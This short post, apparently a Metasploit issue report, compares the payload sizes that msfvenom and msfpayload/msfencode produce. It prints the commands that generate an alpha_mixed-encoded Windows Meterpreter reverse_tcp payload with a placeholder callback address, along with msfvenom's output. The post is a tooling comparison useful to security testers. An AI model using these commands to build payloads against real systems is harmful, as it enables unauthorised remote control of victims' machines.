msfvenom vs msfpayload/msfencode payload size difference

[corelanc0d3r]

I have noticed some payload size differences between msfvenom and msfpayload/msfencode:

msfvenom (702 bytes):

./msfvenom -p windows/meterpreter/reverse_tcp exitfunc=thread lhost=1.1.1.1 -a x86 -e x86/alpha_mixed -f c

No platform was selected, choosing Msf::Module::Platform::Windows from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/alpha_mixed
x86/alpha_mixed succeeded with size 702 (iteration=0)
Payload size: 702 bytes

msfpayload/msfencode (624 bytes):

./msfpayload windows/meterpreter/reverse_tcp exitfunc=thread lhost=1.1.1.1 R | ./msfencode -e x86/alpha_mixed -type c
